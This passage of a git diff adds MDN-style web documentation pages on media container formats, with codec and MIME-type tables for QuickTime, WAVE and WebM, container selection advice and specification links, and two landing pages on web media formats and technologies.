+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AVC (H.264)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Cinepak</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Component Video</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">DV</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">H.261</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">H.263</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-2</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-4 Part 2 Visual</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Motion JPEG</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Sorenson Video 2</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Sorenson Video 3</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Audio codecs supported by QuickTime</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AAC</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">ALaw 2:1</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Apple Lossless (ALAC)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">HE-AAC</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Microsoft ADPCM</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">µ-Law 2:1 (u-Law)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="WAVE_WAV"><a id="WAVE" name="WAVE">WAVE</a> (WAV)</h3>
+
+<p>The <strong>Waveform Audio File Format</strong> (<strong>WAVE</strong>), usually referred to simply as WAV due to its filename extension being <code>.wav</code>, is a format developed by Microsoft and IBM to store audio bitstream data.</p>
+
+<p>It is derived from the Resource Interchange File Format (RIFF), and as such is similar to other formats such as Apple's AIFF. The WAV codec registry can be found at {{RFC(2361)}}; however, because nearly all WAV files use linear PCM, support for the other codecs is sparse.</p>
+
+<p>The WAVE format was first released in 1991.</p>
+
+<table class="standard-table">
+ <caption>WAVE media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/wave</code><sup><a href="#wave-foot-1">1</a></sup></td>
+  </tr>
+  <tr>
+   <td><code>audio/wav</code></td>
+  </tr>
+  <tr>
+   <td><code>audio/x-wav</code></td>
+  </tr>
+  <tr>
+   <td><code>audio/x-pn-wav</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="wave-foot-1" name="wave-foot-1">[1]</a> The <code>audio/wave</code> MIME type is the standard type, and is preferred; however, the others have been used by various products over the years and may be used as well in some environments. </p>
+
+<table class="standard-table">
+ <caption>Audio codecs supported by WAVE</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">ADPCM (Adaptive Differential Pulse Code Modulation)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">GSM 06.10</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">LPCM (Linear Pulse Code Modulation)</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">µ-Law (u-Law)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="WebM">WebM</h3>
+
+<p><strong>{{interwiki("wikipedia", "WebM")}}</strong> (<strong>Web Media</strong>) is a format based on {{interwiki("wikipedia", "Matroska")}} which is designed specifically for use in modern web environments. It's based entirely on free and open technologies and primarily uses codecs that are in turn free and open, although some products support other codecs in WebM containers as well.</p>
+
+<p>WebM was first introduced in 2010 and is now widely supported. Compliant implementations of WebM are required to support the VP8 and VP8 video codecs and the Theora and Opus audio codecs. The WebM container format and its required codecs are all available under open licenses. Any other codecs may require a license to use.</p>
+
+<table class="standard-table">
+ <caption>WebM media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/webm</code></td>
+   <td><code>video/webm</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Video codecs supported by WebM</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AV1</th>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes<sup><a href="#av1-vid-footnote-1">1</a></sup></td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">VP8</th>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">VP9</th>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="av1-vid-footnote-1" name="av1-vid-footnote-1">[1]</a> Firefox support for AV1 was added to macOS in Firefox 66; for Windows in Firefox 67; and Firefox 68 on Linux. Firefox for Android does not yet support AV1; the implementation in Firefox is designed to use a secure process, which is not supported yet in Android.</p>
+
+<table class="standard-table">
+ <caption>Audio codecs supported by WebM</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Opus</th>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Vorbis</th>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Choosing_the_right_container">Choosing the right container</h2>
+
+<p>There are a few factors to consider when selecting the best container or containers to use for your media. The relative importance of each will depend on your needs, your license requirements, and the compatibility requirements of your target audience.</p>
+
+<h3 id="Guidelines">Guidelines</h3>
+
+<p>The best choice also depends on what you'll be doing with the media. Playing back media is a different thing than recording and/or editing it. If you're going to be manipulating the media data, using an uncompressed format can improve performance, while using a lossless compressed format at least prevent the accumulation of noise as compression artifacts are multiplied with each re-compression that occurs.</p>
+
+<ul>
+ <li>If your target audience is likely to include users on mobile, especially on lower-end devices or on slow networks, consider providing a version of your media in a 3GP container with appropriate compression.</li>
+ <li>If you have any specific encoding requirements, make sure the container you choose supports the appropriate codecs.</li>
+ <li>If you want your media to be in a non-proprietary, open format, consider using one of the open container formats such as FLAC (for audio) or WebM (for video).</li>
+ <li>If for any reason you are only able to provide media in a single format, choose a format that's available on the broadest selection of devices and browsers, such as MP3 (for audio) or MP4 (for video and/or audio).</li>
+ <li>If your media is audio-only, choosing an audio-only container format likely makes sense. Now that the patents have all expired, MP3 is a widely supported and good choice. WAVE is good but uncompressed, so be aware of that before using it for large audio samples. FLAC is a very good choice, due to its lossless compression, if the target browsers all support it.</li>
+</ul>
+
+<p>Unfortunately, neither of the relatively major lossless compression formats (FLAC and ALAC) are universally supported. FLAC is the more broadly supported of the two, but is not supported by macOS without additional software installed, and is not supported at all on iOS. If you need to offer lossless audio, you may need to provide both FLAC and ALAC to get close to universal compatibility.</p>
+
+<h3 id="Container_selection_advice">Container selection advice</h3>
+
+<p>The tables below offer suggested containers to use in various scenarios. These are just suggestions. Be sure to consider the needs of your application and your organization before selecting a container format.</p>
+
+<h4 id="Audio-only_files">Audio-only files</h4>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">If you need...</th>
+   <th scope="col">Consider using this container format</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Compressed files for general-purpose playback</td>
+   <td>MP3 (MPEG-1 Audio Layer III)</td>
+  </tr>
+  <tr>
+   <td>Losslessly compressed files</td>
+   <td>FLAC with ALAC fallback</td>
+  </tr>
+  <tr>
+   <td>Uncompressed files</td>
+   <td>WAV</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Now that MP3's patents have all expired, the choice of audio file format has become much easier to make. It's no longer necessary to choose between MP3's broad compatibility and the need to pay royalties when using it.</p>
+
+<h4 id="Video_files">Video files</h4>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">If you need...</th>
+   <th scope="col">Consider using this container format</th>
+  </tr>
+  <tr>
+   <td>General purpose video, preferably in an open format</td>
+   <td>WebM (ideally with MP4 fallback)</td>
+  </tr>
+  <tr>
+   <td>General purpose video</td>
+   <td>MP4 (ideally with WebM or Ogg fallback)</td>
+  </tr>
+  <tr>
+   <td>High compression optimized for slow connections</td>
+   <td>3GP (ideally with MP4 fallback)</td>
+  </tr>
+  <tr>
+   <td>Compatibility with older devices/browsers</td>
+   <td>QuickTime (ideally with AVI and/or MPEG-2 fallback)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>These suggestions make a number of assumptions. You should carefully consider the options before making a final decision, especially if you have a lot of media that will need to be encoded.</p>
+
+<h2 id="Maximizing_compatibility_with_multiple_containers">Maximizing compatibility with multiple containers</h2>
+
+<p>To optimize compatibility, it's worth considering providing more than one version of media files, using the {{HTMLElement("source")}} element to specify each source within the {{HTMLElement("audio")}} or {{HTMLElement("video")}} element. For example, you can offer an Ogg or WebM video as the first choice, with a fallback in MP4 format. You could even choose to offer a retro-like QuickTime or AVI fallback for good measure.</p>
+
+<p>To do this, you create a <code>&lt;video&gt;</code> (or <code>&lt;audio&gt;</code>) element with no {{htmlattrxref("src", "video")}} attribute. Then add child {{HTMLElement("source")}} elements within the <code>&lt;video&gt;</code> element, one for each version of the video you offer. This can be used to offer various versions of a video that can be selected depending on bandwidth availability, but in our case, we'll use it to offer format options.</p>
+
+<p>In the example shown here, a video is offered to the browser in two formats: WebM and MP4.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/source.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>The video is offered first in WebM format (with the {{htmlattrxref("type", "video")}} attribute set to <code>video/webm</code>). If the {{Glossary("user agent")}} can't play that, it moves on to the next option, whose <code>type</code> is specified as <code>video/mp4</code>. If neither of those can be played, the text "This browser does not support the HTML5 video element." is presented.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://portal.3gpp.org/desktopmodules/Specifications/SpecificationDetails.aspx?specificationId=1441">ETSI 3GPP</a></td>
+   <td>Defines the 3GP container format</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.iso.org/standard/53943.html">ISO/IEC 14496-3</a> (MPEG-4 Part 3 Audio)</td>
+   <td>Defines MP4 audio including ADTS</td>
+  </tr>
+  <tr>
+   <td><a href="https://xiph.org/flac/format.html">FLAC Format</a></td>
+   <td>The FLAC format specification</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.iso.org/standard/19180.html">ISO/IEC 11172-1</a> (MPEG-1 Part 1 Systems)</td>
+   <td>Defines the MPEG-1 container format</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.iso.org/standard/74427.html">ISO/IEC 13818-1</a> (MPEG-2 Part 1 Systems)</td>
+   <td>Defines the MPEG-2 container format</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.iso.org/standard/75929.html">ISO/IEC 14496-14</a> (MPEG-4 Part 14: MP4 file format)</td>
+   <td>Defines the MPEG-4 (MP4) version 2 container format</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.iso.org/standard/55688.html">ISO/IEC 14496-1</a> (MPEG-4 Part 1 Systems)</td>
+   <td>Defines the original MPEG-4 (MP4) container format</td>
+  </tr>
+  <tr>
+   <td>{{RFC(3533)}}</td>
+   <td>Defines the Ogg container format</td>
+  </tr>
+  <tr>
+   <td>{{RFC(5334)}}</td>
+   <td>Defines the Ogg media types and file extensions</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.apple.com/library/archive/documentation/QuickTime/QTFF/QTFFPreface/qtffPreface.html">QuickTime File Format Specification</a></td>
+   <td>Defines the QuickTime movie (MOV) format</td>
+  </tr>
+  <tr>
+   <td><a href="https://web.archive.org/web/20090417165828/http://www.kk.iij4u.or.jp/~kondo/wave/mpidata.txt">Multimedia Programming Interface and Data Specifications 1.0</a></td>
+   <td>The closest thing to an official WAVE specification</td>
+  </tr>
+  <tr>
+   <td><a href="https://docs.microsoft.com/en-us/windows/desktop/xaudio2/resource-interchange-file-format--riff-">Resource Interchange File Format</a> (used by WAV)</td>
+   <td>Defines the RIFF format; WAVE files are a form of RIFF</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.webmproject.org/docs/container/">WebM Container Guidelines</a></td>
+   <td>Guide for adapting Matroska for WebM</td>
+  </tr>
+  <tr>
+   <td><a href="https://matroska.org/technical/specs/index.html">Matroska Specifications</a></td>
+   <td>The specification for the Matroska container format upon which WebM is based</td>
+  </tr>
+  <tr>
+   <td><a href="https://w3c.github.io/media-source/webm-byte-stream-format.html">WebM Byte Stream Format</a></td>
+   <td>WebM byte stream format for use with <a href="/en-US/docs/Web/API/Media_Source_Extensions_API">Media Source Extensions</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Container format name</th>
+   <th colspan="3" rowspan="1" scope="col" style="text-align: center; border-right: 2px solid #d4dde4;">Audio</th>
+   <th colspan="3" rowspan="1" scope="col" style="text-align: center;">Video</th>
+  </tr>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">MIME type</th>
+   <th scope="col" style="vertical-align: bottom;">Extension(s)</th>
+   <th scope="col" style="vertical-align: bottom; border-right: 2px solid #d4dde4;">Browser support</th>
+   <th scope="col" style="vertical-align: bottom;">MIME type</th>
+   <th scope="col" style="vertical-align: bottom;">Extension(s)</th>
+   <th scope="col" style="vertical-align: bottom; border-right: 2px solid #d4dde4;">Browser support</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row" style="vertical-align: bottom;">3GP</th>
+   <td style="vertical-align: top;"><code>audio/3gpp</code></td>
+   <td style="vertical-align: top;"><code>.3gp</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;"><code>video/3gpp</code></td>
+   <td style="vertical-align: top;"><code>.3gp</code></td>
+   <td style="vertical-align: top;">Firefox</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">ADTS (Audio Data Transport Stream)</th>
+   <td style="vertical-align: top;"><code>audio/aac</code></td>
+   <td style="vertical-align: top;"><code>.aac</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">FLAC</th>
+   <td style="vertical-align: top;"><code>audio/flac</code></td>
+   <td style="vertical-align: top;"><code>.flac</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+  </tr>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: top;">MPEG-1 / MPEG-2 (MPG or MPEG)</th>
+   <td style="vertical-align: top;"><code>audio/mpeg</code></td>
+   <td style="vertical-align: top;"><code>.mpg</code><br>
+    <code>.mpeg</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td rowspan="2" style="vertical-align: top;"><code>video/mpeg</code></td>
+   <td rowspan="2" style="vertical-align: top;"><code>.mpg</code><br>
+    <code>.mpeg</code></td>
+   <td rowspan="2" style="vertical-align: top;">Firefox</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><code>audio/mp3</code></td>
+   <td style="vertical-align: top;"><code>.mp3</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">MPEG-4 (MP4)</th>
+   <td style="vertical-align: top;"><code>audio/mp4</code></td>
+   <td style="vertical-align: top;"><code>.mp4</code><br>
+    <code>.m4a</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;"><code>video/mp4</code></td>
+   <td style="vertical-align: top;"><code>.mp4</code><br>
+    <code>.m4v</code><br>
+    <code>.m4p</code></td>
+   <td style="vertical-align: top;">Firefox</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">Ogg</th>
+   <td style="vertical-align: top;"><code>audio/ogg</code></td>
+   <td style="vertical-align: top;"><code>.oga</code><br>
+    <code>.ogg</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;"><code>video/ogg</code></td>
+   <td style="vertical-align: top;"><code>.ogv</code><br>
+    <code>.ogg</code></td>
+   <td style="vertical-align: top;">Firefox</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">QuickTime Movie (MOV)</th>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">—</td>
+   <td style="vertical-align: top;"><code>video/quicktime</code></td>
+   <td style="vertical-align: top;"><code>.mov</code></td>
+   <td style="vertical-align: top;">Safari</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">WAV (Waveform Audiofile)</th>
+   <td style="vertical-align: top;"><code>audio/wav</code></td>
+   <td style="vertical-align: top;"><code>.wav</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">WebM</th>
+   <td style="vertical-align: top;"><code>audio/webm</code></td>
+   <td style="vertical-align: top;"><code>.webm</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;"><code>video/webm</code></td>
+   <td style="vertical-align: top;"><code>.webm</code></td>
+   <td style="vertical-align: top;">Firefox</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also"> See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a></li>
+ <li>{{HTMLElement("audio")}} and {{HTMLElement("video")}} elements</li>
+</ul>
diff --git a/files/es/web/media/formats/index.html b/files/es/web/media/formats/index.html
new file mode 100644
index 0000000000..9d4f181ae7
--- /dev/null
+++ b/files/es/web/media/formats/index.html
@@ -0,0 +1,88 @@
+---
+title: 'Media type and format guide: image, audio, and video content'
+slug: Web/Media/Formats
+tags:
+  - API
+  - Audio
+  - Codecs
+  - Containers
+  - File Types
+  - Files
+  - Filetypes
+  - Landing
+  - Media
+  - NeedsTranslation
+  - TopicStub
+  - Types
+  - Video
+  - Web
+  - formats
+translation_of: Web/Media/Formats
+---
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}</p>
+
+<p>Since nearly its beginning, the web has included support for some form of visual media presentation. Originally, these capabilities were limited, and were expanded organically, with different browsers finding their own solutions to the problems around including still and video imagery on the web. The modern web has powerful features to support the presentation and manipulation of media, with several media-related APIs supporting various types of content. Generally, the media formats supported by a browser are entirely up to the browser's creators, which can complicate the work of a web developer.</p>
+
+<p><span class="seoSummary">This guide provides an overview of the media file types, {{Glossary("codec", "codecs")}}, and algorithms that may comprise media used on the web.</span> It also provides browser support information for various combinations of these, and suggestions for prioritization of formats, as well as which formats excel at specific types of content.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="References">References</h2>
+
+<h3 id="Images">Images</h3>
+
+<dl>
+ <dt><span style="display: none;"> </span><a href="/en-US/docs/Web/Media/Formats/Image_types">Image file type and format guide</a></dt>
+ <dd>Covers support of image file types and content formats across the major web browsers, as well as providing basic information about each type: benefits, limitations, and use cases of interest to web designers and developers.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Images_for_web_designers">Image file types for web designers</a></dt>
+ <dd>Fundamental information about the various image file types that may be useful for web designers, including best practices and use cases for each type, and guidelines for choosing the right image file format for specific types of content.</dd>
+</dl>
+
+<h3 id="Media_file_types_and_codecs">Media file types and codecs</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Containers">Media containers (file types)</a></dt>
+ <dd>A guide to the file types that contain media data. Some are audio-specific, while others may be used for either audio or combined audiovisual content such as movies. Includes overviews of each of the file types supported by the major web browsers, along with browser support information and supported features.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Audio_codecs">Web audio codec guide</a></dt>
+ <dd>A guide to the audio codecs allowed for by the common media containers, as well as by the major browsers. Includes benefits, limitations, key specifications and capabilities, and use cases. It also covers each browser's support for using the codec in given containers.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Video_codecs">Web video codec guide</a></dt>
+ <dd>This article provides basic information about the video codecs supported by the major browsers, as well as some that are not commonly supported but that you might still run into. It also covers codec capabilities, benefits, limitations, and browser support levels and restrictions.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/codecs_parameter">The "codecs" parameter in common media types</a></dt>
+ <dd>When specifying the MIME type describing a media format, you can provide details using the <code>codecs</code> parameter as part of the type string. This guide describes the format and possible values of the <code>codecs</code> parameter for the common media types.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">Codecs used by WebRTC</a></dt>
+ <dd><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> doesn't use a container, but instead streams the encoded media itself from peer to peer using {{domxref("MediaStreamTrack")}} objects to represent each audio or video track. This guide discusses the codecs commonly used with WebRTC.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Guides">Guides</h2>
+
+<h3 id="Concepts">Concepts</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Audio_concepts">Digital audio concepts</a></dt>
+ <dd>An introduction to how audio is converted into digital form and stored for use by computers. It explains basic concepts about how audio is sampled, as well as concepts such as sample rate, audio frames, and audio compression.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Video_concepts">Digital video concepts</a></dt>
+ <dd>A guide to fundamental concepts involved with digital video as used on the web, including basics about color formats, chroma subsampling, how human perception influences video coding, and so forth.</dd>
+</dl>
+
+<h3 id="Tutorials_and_how-tos">Tutorials and how-tos</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Learning: Video and audio content</a></dt>
+ <dd>This tutorial introduces and details the use of media on the web.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Support_issues">Handling media support issues in web content</a></dt>
+ <dd>In this guide, we look at how to build web content that maximizes quality or performance while providing the broadest possible compatibility, by choosing media formats wisely, and offering fallbacks and alternate formats where it would be helpful.</dd>
+</dl>
+
+<h2 id="Other_topics">Other topics</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Media_Capabilities_API">Media Capabilities API</a></dt>
+ <dd>The Media Capabilities API lets you discover the encoding and decoding capabilities of the device your app or site is running on. This lets you make real-time decisions about what formats to use and when.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/es/web/media/index.html b/files/es/web/media/index.html
new file mode 100644
index 0000000000..f655fdaa13
--- /dev/null
+++ b/files/es/web/media/index.html
@@ -0,0 +1,94 @@
+---
+title: Web media technologies
+slug: Web/Media
+tags:
+  - Audio
+  - Landing
+  - Media
+  - NeedsTranslation
+  - TopicStub
+  - Video
+  - Web
+translation_of: Web/Media
+---
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}</div>
+
+<p><span class="seoSummary">Over the years, the Web's ability to present, create, and manage audio, video, and other media has grown at an increasing pace. Today, there are a large number of APIs available, as well as HTML elements, DOM interfaces, and other features that make it possible to not only perform these tasks, but use media in tandem with other technologies to do truly remarkable things. This article lists the various APIs with links to documentation you may find helpful in mastering them.</span></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="References">References</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<p>These articles cover HTML features for media developers.</p>
+
+<dl>
+ <dt>{{HTMLElement("audio")}}</dt>
+ <dd>The <code>&lt;audio&gt;</code> element is used to play audio in a Web context. These can be used invisibly as a destination for more complex media, or with visible controls for user-controlled playback of audio files. Accessible from JavaScript as {{domxref("HTMLAudioElement")}} objects.</dd>
+ <dt>{{HTMLElement("video")}}</dt>
+ <dd>The <code>&lt;video&gt;</code> element is an endpoint for video content in a Web context. It can be used to simply present video files, or as a destination for streamed video content. <code>&lt;video&gt;</code> can also be used as a way to link media APIs with other HTML and DOM technologies, including {{HTMLElement("canvas")}} (for frame grabbing and manipulation), for example. Accessible from JavaScript as {{domxref("HTMLVideoElement")}} objects.</dd>
+ <dt>{{HTMLElement("track")}}</dt>
+ <dd>The HTML <code>&lt;track&gt;</code> element can be placed within an {{HTMLElement("audio")}} or {{HTMLElement("video")}} element to provide a reference to a <a href="/en-US/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> format subtitle or caption track to be used when playing the media. Accessible from JavaScript as {{domxref("HTMLTrackElement")}} objects.</dd>
+ <dt>{{HTMLElement("source")}}</dt>
+ <dd>The HTML <code>&lt;source&gt;</code> element is used within an {{HTMLElement("audio")}} or {{HTMLElement("video")}} element to specify source media to present. Multiple sources can be used to provide the media in different formats, sizes, or resolutions. Accessible from JavaScript as {{domxref("HTMLSourceElement")}} objects.</dd>
+</dl>
+
+<h3 id="APIs">APIs</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Media_Capabilities_API">Media Capabilities API</a></dt>
+ <dd>The Media Capabilities API lets you determine the encoding and decoding capabilities of the device your app or site is running on. This lets you make real-time decisions about what formats to use and when.</dd>
+ <dt><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></dt>
+ <dd>A reference for the API which makes it possible to stream, record, and manipulate media both locally and across a network. This includes using local cameras and microphones to capture video, audio, and still images.</dd>
+ <dt><a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a></dt>
